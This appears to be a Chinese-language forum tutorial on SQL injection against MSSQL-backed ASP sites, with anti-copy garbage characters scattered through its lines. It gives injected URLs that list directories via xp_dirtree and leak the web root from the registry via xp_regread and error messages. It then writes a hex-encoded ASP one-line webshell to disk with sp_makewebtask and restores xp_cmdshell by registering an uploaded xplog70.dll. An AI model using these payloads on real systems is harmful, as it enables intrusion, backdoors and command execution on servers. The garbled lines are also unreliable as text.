好,我们exec master..xp_dirtree'd:/test'3 J4 W, s8 N# e5 h( Q2 s6 v
假设我们在test里有两个文件夹test1和test2在test1里又有test3
$ h( i* {$ }( X) b- U结果显示
, q B# j6 b/ d$ J, p& c" V& k- N! v. O2 d' S9 {8 S
subdirectory depth
1 Q( C+ T, o" N: z9 D/ Z: |; gtest1 19 b2 n* l3 x( h: o; C- \
test3 2
( A. B# @7 R/ s, gtest2 1
) ~" Z* N a) D
. }0 N" `- c5 M: Z; f! C哈哈发现没有那个depth就是目录的级数
* C, W0 n1 D! m* p. \; }8 Y- Bok了,知道怎么办了吧
+ W l5 s I1 i, U
* I. x6 A1 Q; f) f* C# H$ U8 [2 d& Khttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
- \- K( o3 v! @# Whttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ) c4 {9 i. Y5 c* ~, Y
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-# B0 U6 G4 d( P- |& N- N, O
4 i+ G6 G- h1 O% d" q
只要加上id=1,就是第一级目录 。& n1 p m I$ l' i3 X
: g( \/ [- ^( z- v$ z0 U
! G- I R5 D7 l( b5 L通过注册表读网站路径:" {1 t2 G" p. R# k, j9 c, U
. Y* _8 S9 ?% {
1.;create table [dbo].[cyfd] ([gyfd][char](255));3 A2 L# a) _- C9 L/ R c8 Q& j
9 s; S" Y) G2 y
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--, ]3 y, S$ A( S. M- X
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--# ^/ D- r: {0 ]0 n z
6 G- s* Y% [# x s$ \
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
! g7 ^) {7 w1 D: z- p5 band 1=(select count(*) from cyfd where gyfd > 1)
7 T. R8 d% R- @0 Q( ~这样IE报错,就把刚才插进去的Web路径的值报出来了
" t- }! D' b" y. k. N* v% M9 r0 T4 C! @" g5 U9 O2 H
4.drop table cyfd;-- 删除临时表
# v& V& D' @8 w% F1 ^" c: v3 c7 a7 W6 U8 _/ y/ H$ H
获得webshell方法:
! M# r. S& F9 h- l1.create table cmd (a image)-- \**cmd是创建的临时表
/ o( `4 u4 c& I8 ?: \
$ y, A" W! n+ f( ?) s2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话0 @. M2 N8 p7 n q
+ @7 z+ X7 M9 H2 O* X E3 Y
0 K( Y# K. M+ a2 [ `" Y1 a5 J7 O3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
# O5 p- d0 K+ T( u# S4 xEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
. s% n1 ~& T. }' {- f* {+ g! y$ u3 D6 H. U/ ^9 Q5 T+ R$ B5 J
4.drop table cmd;-- 删除cmd临时表
. A. Q `) R) z. D$ g* k
% C0 K/ |/ M. T+ B# _& r5 H恢复xp_cmdshell方法之一:5 c7 W J5 v8 t) T) X y: v
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:1 S2 ?% r/ L. m
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'( c; \. P3 E1 E9 f6 ?& _& m
恢复,支持绝对路径的恢复哦。:): ^% W/ `! ~; K* i
|